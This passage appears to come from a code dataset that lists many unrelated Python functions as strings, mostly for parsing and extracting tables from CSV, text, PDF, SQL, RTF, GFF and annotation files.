delimiter,\n headText, flags=re.DOTALL)\n if fieldDetails:\n if delimiter in fieldDetails[0]:\n if headerText:\n headerText += \",\" + \\\n str(fieldDetails[0]).strip().replace('\"', '').split(\n ',')[1]\n else:\n headerText = \\\n str(fieldDetails[0]).strip().replace('\"', '').split(',')[1]\n else:\n log.debug('Delimiter not found in the field Details: {0}'.format(fieldDetails))\n else:\n log.debug('Details not found in the Header: {0}'.format(headText))\n headerText += ','\n\n except Exception as Ex:\n log.debug('Error in Getting Markers for Header')\n log.debug(\"Record index : {0}\".format(index))\n log.debug((repr(Ex)))\n if log.getEffectiveLevel() == Packages.sv.XL_DEBUG:\n log.debug('Exiting function file_tokenizer_txt(fileName: str,funcInputs: dict) of Module: ' + __name__)\n returnDict['Parsing_Status'] = Packages.sv.XL_FAILURE\n returnDict['Record_count'] = recCounter\n return returnDict\n\n # Calculate number of lines to table start from the start table token\n counter = 0\n for tableData in recordTable:\n if tableFieldsSelection[0] in tableData:\n break\n else:\n counter += 1\n\n tableHeaderList = []\n\n if tableHeaderHasUnits:\n newTableMarker = counter + tableSeperator + 1\n else:\n newTableMarker = counter + tableSeperator\n\n print(headerText)\n try:\n # Create a list of header items for the table\n for tableHeader in recordTable[counter:newTableMarker]:\n tableHeaderList.append((tableHeader).replace('\"', '').split(','))\n\n\n # Get Table Header\n if not tableIndexSelected:\n for tableFields in tableFieldsSelection:\n fieldIndex = (tableHeaderList[0]).index(tableFields)\n tableFieldIndex.append(fieldIndex)\n tableIndexSelected = True\n\n # if table has header Units then get the units\n if tableHeaderHasUnits and not headerPrinted:\n headerPrinted = True\n outputStringBuffer = Packages.Utilities.writeFile(writeFile, outputStringBuffer,\n ',' * len(headerFieldsSelection)\n + ','.join(string for string in\n operator.itemgetter(\n *tableFieldIndex)\n (str(','.join(\n lstItem for lstItem\n in tableHeaderList[\n 1])).replace('\"',\n '').split(\n delimiter))) + '\\n')\n\n\n # get table data\n for tableData in recordTable[newTableMarker:len(recordTable)]:\n if delimiter in tableData:\n tablerecCounter += 1\n outputStringBuffer = Packages.Utilities.writeFile(writeFile, outputStringBuffer,\n headerText + ',' + ','.join(\n string for string in\n operator.itemgetter(\n *tableFieldIndex)(\n str(tableData).replace(\n '\"', '').split(\n delimiter))) + '\\n')\n\n\n\n except Exception as Ex:\n log.debug('Error in Getting Parsing for Table')\n log.debug(\"Record index : : {0}\".format(index))\n log.debug((repr(Ex)))\n if log.getEffectiveLevel() == Packages.sv.XL_DEBUG:\n log.debug(\n 'Exiting function file_tokenizer_txt(fileName: str,funcInputs: dict) of Module: ' + __name__)\n returnDict['Parsing_Status'] = Packages.sv.XL_FAILURE\n returnDict['Record_count'] = recCounter\n return returnDict\n\n\n writeFile.write(outputStringBuffer)\n if log.getEffectiveLevel() == Packages.sv.XL_DEBUG:\n log.debug('Total Number of Records parsed in TXT : {0} '.format(recCounter))\n log.debug('Total Number of Table Records in TXT : {0} '.format(tablerecCounter))\n except IOError:\n log.error('Cannot open file: {0} in read mode'.format(fileName))\n if log.getEffectiveLevel() == Packages.sv.XL_DEBUG:\n log.debug('Exiting function file_tokenizer_txt(fileName: str,funcInputs: dict) of Module: ' + __name__)\n returnDict['Parsing_Status'] = Packages.sv.XL_FAILURE\n returnDict['Record_count'] = recCounter\n return returnDict\n\n except Exception as error:\n print(repr(error))\n log.error('Exception Encountered in function: file_tokenizer_txt')\n if log.getEffectiveLevel() == Packages.sv.XL_DEBUG:\n log.debug('Exiting function file_tokenizer_txt(fileName: str,funcInputs: dict) of Module: ' + __name__)\n returnDict['Parsing_Status'] = Packages.sv.XL_FAILURE\n returnDict['Record_count'] = recCounter\n return returnDict\n finally:\n writeFile.close()\n\n if log.getEffectiveLevel() == Packages.sv.XL_DEBUG:\n log.debug('Exiting function file_tokenizer_txt(fileName: str,funcInputs: dict) of Module: ' + __name__)\n returnDict['Parsing_Status'] = Packages.sv.XL_SUCCESS\n returnDict['Record_count'] = recCounter\n returnDict['outputFileName'] = outputFileName\n return returnDict","def convertTableName(fileName: str):\n if m := pattern.match(fileName):\n return m.group(\"tableName\")","def read_tables(tb_path, tb_id, cdm_subset=None, delimiter='|',\n extension='psv', col_subset=None, log_level='INFO', na_values=[]):\n logger = logging_hdlr.init_logger(__name__, level=log_level)\n # Because how the printers are written, they modify the original data frame!,\n # also removing rows with empty observation_value in observation_tables\n if not os.path.isdir(tb_path):\n logger.error('Data path not found {}: '.format(tb_path))\n return\n\n # See if theres anything at all:\n files = glob.glob(os.path.join(tb_path, '*' + tb_id + '*.' + extension))\n if len(files) == 0:\n logger.error('No files found matching pattern {}'.format(tb_id))\n return\n\n # See if subset, if any of the tables is not as specs\n if cdm_subset:\n for tb in cdm_subset:\n if tb not in properties.cdm_tables:\n logger.error('Requested table {} not defined in CDM'.format(tb))\n return\n\n tables = properties.cdm_tables if not cdm_subset else cdm_subset\n file_patterns = {tb: os.path.join(tb_path, '-'.join([tb, tb_id]) + '.' + extension) for tb in tables}\n file_paths = {}\n for k, v in file_patterns.items():\n logger.info('Getting file path for pattern {}'.format(v))\n file_path = glob.glob(v)\n if len(file_path) == 1:\n file_paths[k] = file_path[0]\n elif len(file_path) > 1:\n logger.error(\n 'Pattern {0} resulted in multiple files for table {1}. '\n 'Cannot seccurely retrieve cdm table(s)'.format(tb_id, k))\n return\n\n if len(file_paths) == 0:\n logger.error(\n 'No cdm table files found for search patterns {0}: '.format(','.join(list(file_patterns.values()))))\n return\n\n usecols = None if len(tables) == 1 else {table: None for table in tables}\n if col_subset:\n if len(tables) == 1:\n if not isinstance(col_subset, list):\n logger.error('Column subset (col_subset) has to be declared as a list')\n return\n else:\n usecols = col_subset\n else:\n if not isinstance(col_subset, dict):\n logger.error(\n 'Column subset (col_subset) has to be declared as a dictionary '\n 'with a table:[columns] pair per table to subset')\n return\n else:\n usecols = {table: col_subset.get(table, None) for table in tables}\n\n logger.info('Reading into dataframe data files {}: '.format(','.join(list(file_paths.values()))))\n if len(tables) == 1:\n file_path = list(file_paths.values())[0]\n return pd.read_csv(file_path, delimiter=delimiter, usecols=usecols,\n dtype='object', na_values=na_values, keep_default_na=False)\n else:\n df_list = []\n for tb, tb_file in file_paths.items():\n dfi = pd.read_csv(tb_file, delimiter=delimiter,\n usecols=usecols.get(tb), dtype='object',\n na_values=na_values, keep_default_na=False)\n if len(dfi) > 0:\n dfi.set_index('report_id', inplace=True, drop=False)\n dfi.columns = pd.MultiIndex.from_product([[tb], dfi.columns])\n df_list.append(dfi)\n else:\n logger.warning('Table {} empty in file system, not added to the final DF'.format(tb))\n\n if len(df_list) > 0:\n merged = pd.concat(df_list, axis=1, join='outer')\n merged.reset_index(drop=True, inplace=True)\n return merged\n else:\n logger.error('All tables empty in file system')\n return","def wmo_code_table():\n import pandas as pd\n from ..fun import get_data\n\n return pd.read_csv(get_data('Common_C02_20181107_en.txt'))","def get_reference_header(file):\n\n with open(file, \"r\") as typing_report:\n lines = typing_report.readlines()\n return lines[1].split('\\\\t')[3]","def find_temp_tables(sql):\n lines = sql.split(\"\\n\")\n pattern = r\"^.*into\\s+#.*$\"\n r = re.compile(pattern, re.MULTILINE)\n\n tables=[]\n for match in r.findall(sql):\n table_start = match.find(\"#\")\n \n tables.append(match[table_start:])\n\n return tables","def __getListTables(self):\n\n listTables = \"{\\\\*\\\\listtable\\n\"\n overrideTables = \"{\\\\listoverridetable\\n\"\n for listDef in self.lists:\n id = listDef.id\n listTables += listDef.getRtf()\n overrideTables += (\"{\\\\listoverride\\\\listid%d\"\n \"\\\\listoverridecount0\\\\ls%d}\\n\" % (id, id))\n return listTables + \"}\\n\" + overrideTables + \"}\\n\"","def feature_table(chr_id, source, orient, genes, transcripts, cds, exons, unk):\n for gname, ginfo in genes.items():\n line = [str(chr_id), \n 'gbk_to_gff',\n ginfo[3],\n str(ginfo[0]),\n str(ginfo[1]),\n '.',\n ginfo[2],\n '.',\n 'ID='+str(gname)+';Name='+str(gname)+';Note='+ginfo[-1]]\n print '\\t'.join(line) \n ## construct the transcript line is not defined in the original file \n t_line = [str(chr_id), 'gbk_to_gff', source, 0, 1, '.', ginfo[2], '.'] \n\n if not transcripts:\n t_line.append('ID=Transcript:'+str(gname)+';Parent='+str(gname))\n\n if exons: ## get the entire transcript region from the defined feature\n t_line[3] = str(exons[gname][0][0])\n t_line[4] = str(exons[gname][0][-1])\n elif cds:\n t_line[3] = str(cds[gname][0][0])\n t_line[4] = str(cds[gname][0][-1])\n print '\\t'.join(t_line) \n\n if exons:\n exon_line_print(t_line, exons[gname], 'Transcript:'+str(gname), 'exon')\n\n if cds:\n exon_line_print(t_line, cds[gname], 'Transcript:'+str(gname), 'CDS')\n if not exons:\n exon_line_print(t_line, cds[gname], 'Transcript:'+str(gname), 'exon')\n\n else: ## transcript is defined \n for idx in transcripts[gname]: \n t_line[2] = idx[3]\n t_line[3] = str(idx[0])\n t_line[4] = str(idx[1])\n t_line.append('ID='+str(idx[2])+';Parent='+str(gname))\n print '\\t'.join(t_line) \n \n ## feature line print call \n if exons:\n exon_line_print(t_line, exons[gname], str(idx[2]), 'exon')\n if cds:\n exon_line_print(t_line, cds[gname], str(idx[2]), 'CDS')\n if not exons:\n exon_line_print(t_line, cds[gname], str(idx[2]), 'exon')\n\n if len(genes) == 0: ## feature entry with fragment information \n \n line = [str(chr_id), 'gbk_to_gff', source, 0, 1, '.', orient, '.'] \n fStart = fStop = None \n\n for eid, ex in cds.items(): \n fStart = ex[0][0] \n fStop = ex[0][-1]\n\n for eid, ex in exons.items(): \n fStart = ex[0][0] \n fStop = ex[0][-1]\n\n if fStart or fStart:\n\n line[2] = 'gene'\n line[3] = str(fStart)\n line[4] = str(fStop)\n line.append('ID=Unknown_Gene_' + str(unk) + ';Name=Unknown_Gene_' + str(unk))\n print \"\\t\".join(line)\n\n if not cds:\n line[2] = 'transcript'\n else:\n line[2] = 'mRNA'\n line[8] = 'ID=Unknown_Transcript_' + str(unk) + ';Parent=Unknown_Gene_' + str(unk)\n print \"\\t\".join(line)\n \n if exons:\n exon_line_print(line, cds[None], 'Unknown_Transcript_' + str(unk), 'exon')\n \n if cds:\n exon_line_print(line, cds[None], 'Unknown_Transcript_' + str(unk), 'CDS')\n if not exons:\n exon_line_print(line, cds[None], 'Unknown_Transcript_' + str(unk), 'exon')\n \n unk +=1 \n\n return unk","def tabdes(filename, body):\n # XXX checksums ignored\n head = Struct(\"!BiHBxxxB\")\n body = Struct(body)\n # foot = Struct(\"!4s\")\n\n data = []\n with open(filename, \"rb\") as f:\n buffer = f.read()\n _, _, count, length, _ = head.unpack_from(buffer, 0)\n offset = head.size\n for i in range(count):\n row = body.unpack_from(buffer, offset)\n data.append(row)\n offset += body.size\n else:\n print(\"read %d rows\" % len(data))\n # offset = 2 ** 16 - foot.size\n # _, foot.unpack_from(buffer, offset))\n return data","def extract_table(path):\n re_ex = RE_EX\n pages = []\n page_num = 1\n with open(path, 'rb') as in_file:\n parser = PDFParser(in_file)\n doc = PDFDocument(parser)\n for page in PDFPage.create_pages(doc):\n rsrcmgr = PDFResourceManager()\n output_string = StringIO()\n device = TextConverter(rsrcmgr, output_string, laparams=LAParams())\n interpreter = PDFPageInterpreter(rsrcmgr, device)\n interpreter.process_page(page)\n finder = re.search(re_ex, output_string.getvalue(), re.IGNORECASE)\n print('Searching table', '\\tCurrent page:', page_num)\n if finder:\n print('Table finded.')\n pages.append(page_num)\n break\n\n page_num += 1\n\n table = extract_text(path, pages)\n table = isolate(table)\n table = add_separations(table)\n\n return table","def show_tables(self) -> List[str]:\n return list(self.tb.keys())","def get_target_table(self, source):\n target_tables = set()\n target_fields = [t[1] for t in self.mapping.items() if t[0].split('.')[0] == source]\n for f in target_fields:\n target_tables.update([c.split('.')[0] for c in f.keys()])\n self.target_tables = list(target_tables)\n return self.target_tables","def init_fields(self):\n result = self.connection.execute('pragma table_info(files)')\n rows = result.fetchall()\n self.fields = [Field(row) for row in rows[4:]]\n result = self.connection.execute('select _keyword from keywords')\n rows = result.fetchall()\n self.keywords = [row[0] for row in rows]","def get_table_info(line):\n\n COMMENT_EXPR = '-- Name: '\n TYPE_EXPR = '; Type: '\n SCHEMA_EXPR = '; Schema: '\n OWNER_EXPR = '; Owner: '\n TABLESPACE_EXPR = '; Tablespace: '\n\n temp = line.strip('\\n')\n type_start = get_all_occurrences(TYPE_EXPR, temp)\n schema_start = get_all_occurrences(SCHEMA_EXPR, temp)\n owner_start = get_all_occurrences(OWNER_EXPR, temp)\n tblspace_start = get_all_occurrences(TABLESPACE_EXPR, temp)\n if len(type_start) != 1 or len(schema_start) != 1 or len(owner_start) != 1:\n return (None, None, None, None)\n name = temp[len(COMMENT_EXPR) : type_start[0]]\n type = temp[type_start[0] + len(TYPE_EXPR) : schema_start[0]]\n schema = temp[schema_start[0] + len(SCHEMA_EXPR) : owner_start[0]]\n if not tblspace_start:\n tblspace_start.append(None)\n owner = temp[owner_start[0] + len(OWNER_EXPR) : tblspace_start[0]]\n return (name, type, schema, owner)","def enumerate_tables(self, files=False):\n dbinfo = self.stru.readrec(1)\n if dbinfo[:1] != b\"\\x03\":\n print(\"WARN: expected dbinfo to start with 0x03\")\n try:\n dbdef = self.decode_db_definition(dbinfo[1:])\n except Exception as e:\n print(\"ERROR decoding db definition: %s\" % e)\n print(\"This could possibly mean that you need to try with the --strucrack option\")\n return\n\n for k, v in dbdef.items():\n if k.startswith(\"Base\") and k[4:].isnumeric():\n if files and k[4:] == \"000\":\n yield TableDefinition(v)\n if not files and k[4:] != \"000\":\n yield TableDefinition(v, dbdef.get(\"BaseImage\" + k[4:], b''))","def _parse_header_selector(cls, text, where=\"\"):\n with log.augment_exception(\"Can't load file \" + where,\n exception_class=crexc.MappingError):\n code = MAPPING_VERIFIER.compile_and_check(text)\n header, selector, comment = cls._interpret(code)\n return LowerCaseDict(header), selector, comment","def IndexFileToPrefixInfo(index_fp):\n\n IX_FH = open(index_fp, \"r\")\n\n header_line = IX_FH.readline()\n\n c_line = \"placeholder\"\n\n # prefix is an important list that holds [[nLeading i, indexseq s, name s],...]\n # nLeading is number of n's before index \n prefix = []\n line_num = 0\n\n while c_line != \"\":\n c_line = IX_FH.readline().rstrip()\n line_num += 1\n\n line_split = c_line.split('\\t')\n\n if len(line_split) > 2:\n raise Exception(\"In indexfile, found a line that has more than \"\\\n + \"2 tsvs.\\n Filename: {} Line Number: {}\".format(\n index_fp, line_num))\n #Note name & index are in form H1, ATCACGAG\n name, index = line_split \n\n # What does this account for?\n if (re.search(r'name', name ,re.IGNORECASE)):\n continue\n\n nLeading = None\n indexseq = None\n\n match = re.search(r'^([nN]*)([ACGT]+)$',index)\n if not match:\n raise Exception(\"Invalid index sequence {}\".format(index))\n else:\n nLeading = len(match[0])\n indexseq = match[1]\n\n if (nLeading == None ) or (indexseq == None) or (name == ''):\n raise Exception(line)\n prefix.append([nLeading, indexseq, name])\n\n IX_FH.close()\n\n report_str = \"Read {} indices from {}\\n\".format(len(prefix),index_fp)\n prefixNames = [x[2] for x in prefix]\n\n \n return {\n \"report_str\": report_str,\n \"prefixNames\": prefixNames,\n \"prefix\": prefix\n }","def parse_definitions(headers: dict, file_contents: str) -> list:\n\n if not headers:\n raise Exception('Please set headers first')\n\n match = re.search(r'#DEFINITION#(.*?)#', file_contents, re.MULTILINE | re.DOTALL)\n\n if not match:\n raise Exception('No #DEFINITION# provided')\n\n definitions = list(map(str.strip, match.group(1).split(headers['EOF'])))\n\n if definitions[-1] == headers['EOR']:\n del definitions[-1]\n\n return definitions","def ReadIndex_text(indexfile, isPrintWarning = False):#{{{\n# return (indexList, headerinfo, dbfileindexList)\n indexList = []\n idList = []\n v1 = array('B') # dbfile index\n v2 = array('L') # offset\n v3 = array('I') # block size\n apd1 = idList.append\n apd2 = v1.append\n apd3 = v2.append\n apd4 = v3.append\n indexFileHeaderText = []\n origdbname=\"\"\n origversion=\"\"\n origext=\"\"\n origprefix=\"\"\n try:\n\n hdl = mybase.ReadLineByBlock(indexfile)\n lines = hdl.readlines()\n while lines != None:\n for line in lines:\n if not line or line[0] == \"#\":\n continue\n strs = line.split()\n if strs[0] == \"DEF_DBNAME\":\n if len(strs)>=2:\n origdbname=strs[1]\n elif strs[0] == \"DEF_VERSION\":\n if len(strs)>=2:\n origversion=strs[1]\n elif strs[0] == \"DEF_EXTENSION\":\n if len(strs)>=2:\n origext=strs[1]\n elif strs[0] == \"DEF_PREFIX\":\n if len(strs)>=2:\n origprefix = strs[1]\n else:\n apd1(strs[0])\n apd2(int(strs[1]))\n apd3(int(strs[2]))\n apd4(int(strs[3]))\n lines = hdl.readlines()\n\n indexList.append(idList)\n indexList.append(v1)\n indexList.append(v2)\n indexList.append(v3)\n\n headerinfo = (origdbname, origversion, origext, origprefix)\n\n numRecord = len(idList)\n lastDBFileIndex = v1[numRecord-1]\n dbfileindexList = list(range(lastDBFileIndex+1))\n\n if isPrintWarning:\n if origversion == \"\":\n msg = \"{}: Warning! No version info in the index file {}\"\n print(msg.format(sys.argv[0],indexfile), file=sys.stderr)\n elif origversion != version:\n msg = \"{}: Warning! Version conflicts. \"\\\n \"Version of the index file {} ({}) \"\\\n \"!= version of the program ({})\"\n print(msg.format(sys.argv[0],indexfile,\n origversion, version), file=sys.stderr)\n return (indexList, headerinfo, dbfileindexList)\n except IOError:\n msg = \"Failed to read index file {} in function {}\"\n print(msg.format(indexfile, sys._getframe().f_code.co_name), file=sys.stderr)\n return (None, None, None)","def load_defs():\n # Load word definitions\n fname = 'word-definitions.txt'\n with open(fname) as fh:\n lines = fh.readlines()\n \n # Create dictionary keyed by lowercase word\n def_tbl = dict()\n for line in lines:\n # split the dictionary line at the first space\n word, word_def = line.split(sep=None, maxsplit=1)\n # add this entry to the dictionary\n word = word.lower()\n def_tbl[word] = word_def.rstrip()\n return def_tbl","def defineTABLESECTION(f,layernamelist):\r\n \r\n layercolordict={}\r\n for layername in layernamelist:\r\n t=random.randint(10,17)\r\n layercolordict[layername]=random.randrange(10+t,240+t,10)\r\n \r\n layercolordict[\"Outline\"]=1\r\n layercolordict[\"Mark\"]=5\r\n layercolordict[\"Cutline\"]=2\r\n \r\n f.write(\"0\\nSECTION\\n2\\nTABLES\\n0\\nTABLE\\n2\\nLAYER\\n70\\n2\\n\") \r\n for layername in layernamelist:\r\n f.write(\"0\\nLAYER\\n2\\n\"+layername+\"\\n70\\n0\\n62\\n\"+str(layercolordict[layername])+\"\\n6\\nCONTINUOUS\\n\")\r\n f.write(\"0\\nENDTAB\\n0\\nENDSEC\\n\")","def read_ann_file(fileid, ann_dir):\n ann_file = \"%s/%s.ann\"%(ann_dir,fileid)\n with codecs.open(ann_file, 'r', 'utf-8') as f:\n data = f.read()\n rows = data.split('\\n')\n entities = {}\n ent_count = 0\n relations = {}\n #annotations = []\n for row in rows:\n cols = row.split(\"\\t\")\n ann_id = cols[0]\n if(u\"#\" in cols[0]):\n tmp = cols[1].split()[1:],\" \",cols[2]\n annotations.append(tmp)\n elif(len(cols)==3 and u\"T\" in cols[0]):\n # is an entity\n ent_count += 1\n ent_type = cols[1].split()[0]\n ranges = cols[1].replace(\"%s\"%ent_type,\"\")\n if \";\" in ranges:\n ranges = [{\"start\":int(r.split()[0]),\"end\":int(r.split()[1])} for r in ranges.split(';')]\n else:\n ranges = [{\"start\":int(ranges.split()[0]),\"end\":int(ranges.split()[1])}]\n entities[cols[0]] = {\"ann_id\":ann_id\n ,\"entity_type\": ent_type\n ,\"positions\": ranges\n ,\"surface\":cols[2]\n ,\"continuation\":False}\n elif(len(cols)>=2 and u\"R\" in cols[0]):\n rel_type, arg1, arg2 = cols[1].split()\n relations[cols[0]] = {\"ann_id\":ann_id\n ,\"arguments\":(arg1.split(\":\")[1], arg2.split(\":\")[1])\n ,\"relation_type\":rel_type}\n else:\n if(len(cols)>1):\n if(cols[1].split()[0]==\"Continuation\"):\n continued_entity_id = cols[1].split()[1]\n #print cols[1].split()[0],continued_entity_id\n entities[continued_entity_id][\"continuation\"] = True\n return entities, relations","def search_def_in_doc_table(self, acro_in):\n definition_list_out = []\n if acro_in in self.acros_doc_table:\n definition_list_out = self.acros_doc_table[acro_in]['Def']\n return definition_list_out","def lookup_keywords(filename):\n keywords = []\n start_of_table = r'\\*+\\s+'\n start_of_kw_table = r'\\*+\\s+Keyword'\n in_kw_table = False\n f = open(filename, \"r\")\n for line in f.readlines():\n line = line.rstrip()\n if len(line) == 0 or line.startswith(\"#\"):\n continue # skip comments and blanks\n if re.match(start_of_kw_table, line):\n in_kw_table = True # table started\n continue\n if re.match(start_of_table, line) and not re.match(start_of_kw_table, line):\n in_kw_table = False # table ended\n continue\n if line.startswith(' '):\n continue # skip content rows\n if in_kw_table:\n keywords.append(line)\n f.close()\n return keywords","def getCaseAndControlListsFromPedFile(pedFilePath):\t\r\n\tCASE = \"2\"\r\n\tCONTROL = \"1\"\r\n\tstatusIndex = 5\r\n\tnameIndex = 1\r\n\tnames = defaultdict(list)\r\n\twith open(pedFilePath, \"r\") as samples:\r\n\r\n\t\tfor sample in samples:\r\n\t\t\tnames[sample.split(\"\\t\")[statusIndex]].append(sample.split(\"\\t\")[nameIndex]) # The second spot is the ID/name.\r\n\r\n\treturn names[CASE], names[CONTROL]","def GetIndexFileHeaderText(headerinfo):#{{{\n (dbname, version, ext, prefix) = headerinfo\n indexFileHeaderText = []\n indexFileHeaderText.append(\"DEF_VERSION %s\"%(version))\n indexFileHeaderText.append(\"DEF_DBNAME %s\"%(dbname))\n indexFileHeaderText.append(\"DEF_EXTENSION %s\"%(ext))\n indexFileHeaderText.append(\"DEF_PREFIX %s\"%(prefix))\n return indexFileHeaderText","def extract_table_4(first_line_idx, lineIN_list): \n DEBUG_4 = False\n if DEBUG_4: header = '>>>DEBUG_4:\\t'\n if DEBUG_4: print header, 'first_line_idx', first_line_idx \n if DEBUG_4: from pprint import pprint as pp\n my_lineOUT_list = []\n my_lineIN_list = []\n\n cell0_without_tab_list = [\n ]\n tab_within_cell_list = [\n ]\n\n for line_idx in range(first_line_idx+1, len(lineIN_list) ):\n this_line = lineIN_list[line_idx].rstrip('\\n') # strip EOL only, not other whtite space\n\n # Fix unwantted tab in original PDF file: replace unwanted tab into a space\n for tmp_str in tab_within_cell_list:\n this_line = this_line.replace('%s\\t'%(tmp_str), '%s '%(tmp_str), 1)\n\n if len(this_line) != 0:\n try:\n header_of_the_table \n except NameError:\n header_of_the_table = re.sub('\\t.*', '', this_line) # extract only the first cell\n my_lineIN_list.append(this_line)\n if DEBUG_4: print header, '%3d: 1900, header_of_the_table\\t(%s)'%(line_idx, header_of_the_table)\n else:\n # The table itself is between 2 blank lines\n if len(my_lineIN_list) != 0:\n break\n\n # Make the text line compatible with CSV syntax\n line_idx = 0\n while line_idx < len(my_lineIN_list):\n this_line = my_lineIN_list[line_idx]\n this_delimiter_count = this_line.count('\\t')\n\n if DEBUG_4: print header, '%3d: 2000, this_line\\t(%s)'%(line_idx, this_line)\n\n if this_line.startswith(header_of_the_table):\n # header of the table\n delimiter_count = this_delimiter_count\n this_line = text_to_csv_syntax(this_line) # text line compatible with CSV syntax\n this_line = text_to_excessive_space_on_hyphen(this_line) # remove the space in 'xx- xx', or 'xx -xx'\n my_lineOUT_list.append(this_line)\n\n else:\n # Get one or more line until enough cells: \n while this_line.count('\\t') < delimiter_count:\n # append next line\n if line_idx+1 < len(my_lineIN_list):\n line_idx += 1\n this_line += ' ' + my_lineIN_list[line_idx]\n if DEBUG_4: print header, '%3d: 3000, this_line\\t(%s)'%(line_idx, this_line)\n else:\n break\n\n # Has enough cells: append one or more line if these line has no tab except \n # the line start with a specific text\n while line_idx+1 < len(my_lineIN_list) and not '\\t' in my_lineIN_list[line_idx+1]:\n if DEBUG_4: print header, '%3d: 3900, this_line\\t(%s)'%(line_idx, this_line)\n #if any (my_lineIN_list[line_idx+1].startswith(z) for z in cell0_without_tab_list):\n if len(cell0_without_tab_list) >0 and any (my_lineIN_list[line_idx+1].startswith(z) for z in cell0_without_tab_list):\n break\n else:\n line_idx += 1\n this_line += ' ' + my_lineIN_list[line_idx]\n if DEBUG_4: print header, '%3d: 4000, this_line\\t(%s)'%(line_idx, this_line)\n this_line = text_to_csv_syntax(this_line) # text line compatible with CSV syntax\n this_line = text_to_excessive_space_on_hyphen(this_line) # remove the space in 'xx- xx', or 'xx -xx'\n my_lineOUT_list.append(this_line)\n line_idx += 1\n\n if DEBUG_4:\n for str2 in my_lineOUT_list: print header, 'str2(%r)'%(str2)\n return my_lineOUT_list","def import_schemas_from_file():\n with open('./tblSchemas') as schemas_file:\n schemas = {}\n for line in schemas_file:\n line = line.split()\n if len(line) == 0: continue\n if line[0] == 'tblname':\n tbl_name = line[1]\n schemas[tbl_name] = []\n else:\n schemas[tbl_name].append(line)\n return schemas","def automark(self):\n\n index_list = self.ui.tableWidget.selectionModel().selectedIndexes()\n rows = []\n for i in index_list:\n rows.append(i.row())\n rows = list(set(rows)) # duplicate rows due to multiple columns\n if len(rows) == 0:\n return\n selected_files = []\n filenames = \"\"\n for r in rows:\n if self.allfiles[r][2] is not None and self.allfiles[r][2] != \"\":\n selected_files.append(self.allfiles[r])\n filenames += self.allfiles[r][1] + \" \"\n ui_se = DialogGetStartAndEndMarks(self.case['name'], filenames)\n ok = ui_se.exec()\n if not ok:\n return\n start_mark = ui_se.get_start_mark()\n end_mark = ui_se.get_end_mark()\n if start_mark == \"\" or end_mark == \"\":\n Message(self.app, _(\"Warning\"), _('Cannot have blank text marks'), \"warning\").exec()\n return\n msg = _(\"Auto assign text to case: \") + self.case['name']\n msg += _(\"\\nUsing \") + start_mark + _(\" and \") + end_mark + _(\"\\nIn files:\\n\")\n msg += filenames\n warning_msg = \"\"\n already_assigned = \"\"\n entries = 0\n cur = self.app.conn.cursor()\n for f in selected_files:\n cur.execute(\"select name, id, fulltext, memo, owner, date from source where id=?\",\n [f[0]])\n currentfile = cur.fetchone()\n text = currentfile[2]\n text_starts = [match.start() for match in re.finditer(re.escape(start_mark), text)]\n text_ends = [match.start() for match in re.finditer(re.escape(end_mark), text)]\n # Add new code linkage items to database\n already_assigned = \"\"\n for start_pos in text_starts:\n text_end_iterator = 0\n try:\n while start_pos >= text_ends[text_end_iterator]:\n text_end_iterator += 1\n except IndexError:\n text_end_iterator = -1\n warning_msg += _(\"Auto assign. Could not find an end mark: \") + f[1] + \" \" + end_mark + \"\\n\"\n if text_end_iterator >= 0:\n pos1 = text_ends[text_end_iterator]\n item = {'caseid': self.case['caseid'], 'fid': f[0],\n 'pos0': start_pos, 'pos1': pos1,\n 'owner': self.app.settings['codername'],\n 'date': datetime.datetime.now().astimezone().strftime(\"%Y-%m-%d %H:%M:%S\"), 'memo': \"\"}\n # Check if already assigned to case_text\n sql = \"select id from case_text where caseid=? and fid=? and pos0=? and pos1=?\"\n cur.execute(sql, [item['caseid'], item['fid'], item['pos0'], item['pos1']])\n res = cur.fetchone()\n if res is None:\n sql = \"insert into case_text (caseid,fid,pos0,pos1,owner,date,memo) values(?,?,?,?,?,?,?)\"\n cur.execute(sql, (item['caseid'], item['fid'], item['pos0'], item['pos1'],\n item['owner'], item['date'], item['memo']))\n entries += 1\n self.app.conn.commit()\n else:\n already_assigned = _(\"\\nAlready assigned.\")\n # Update messages and table widget\n self.get_files()\n self.fill_table()\n # Text file is loaded in browser then update the highlights\n self.load_case_text()\n self.highlight()\n msg += \"\\n\" + str(entries) + _(\" sections found.\")\n Message(self.app, _(\"File added to case\"), msg + \"\\n\" + warning_msg + \"\\n\" + already_assigned).exec()\n self.parent_textEdit.append(msg)\n self.parent_textEdit.append(warning_msg)\n self.app.delete_backup = False","def parse_translation(transl):\n t_table = {}\n with open(transl, 'r') as f:\n for line in f:\n tmp = line.strip().split('\\t')\n fun_id = tmp[2]\n gene_name = tmp[0]\n t_table[fun_id] = gene_name\n return t_table","def sourceids(obj, reftype):","def extract_table_1(first_line_idx, lineIN_list): \n DEBUG_1A = False\n if DEBUG_1A: header_1A = '>>>DEBUG_1A:\\t'\n\n DEBUG_1 = False\n if DEBUG_1: header = '>>>DEBUG_1:\\t'\n if DEBUG_1: print header, 'first_line_idx', first_line_idx \n if DEBUG_1: from pprint import pprint as pp\n my_lineOUT_list = []\n my_lineIN_list = []\n\n #OBS header_of_the_table = 'Parameter'\n cell0_without_tab_list = [\n 'Time bus',\n 'Input Rise Time',\n 'Input Fall Time',\n 'Serial Interface Clock',\n ]\n tab_within_cell_list = [\n 'Clock', \n 'Holdoff',\n ]\n\n\n for line_idx in range(first_line_idx+1, len(lineIN_list) ):\n #if lineIN_list[line_idx].startswith('Parameter'):\n # my_lineIN_list.append(lineIN_list[line_idx].strip().replace(' ', csv_delimiter)) # CSV delimiter\n # continue\n\n this_line = lineIN_list[line_idx].rstrip('\\n') # strip EOL only, not other whtite space\n #this_line = lineIN_list[line_idx].replace('\\n', '') # strip EOL\n #this_line = lineIN_list[line_idx].rstrip()\n\n #TMP if DEBUG_1: print\n #TMP if DEBUG_1: print header, '%3d: 1000, this_line\\t(%s)'%(line_idx, this_line)\n #TMP if DEBUG_1: print header, '%3d: len(this_line)\\t(%s)'%(line_idx, len(this_line))\n #TMP if DEBUG_1: print header, '%3d: len(my_lineIN_list)\\t(%s)'%(line_idx, len(my_lineIN_list))\n #TMP if DEBUG_1A and 'Time bus' in this_line: print header_1A, '%3d: 1000, this_line\\t(%s)'%(line_idx, this_line)\n\n # Fix unwantted tab in original PDF file: replace unwanted tab into a space\n for tmp_str in tab_within_cell_list:\n this_line = this_line.replace('%s\\t'%(tmp_str), '%s '%(tmp_str), 1)\n\n if len(this_line) != 0:\n try:\n header_of_the_table \n except NameError:\n header_of_the_table = re.sub('\\t.*', '', this_line) 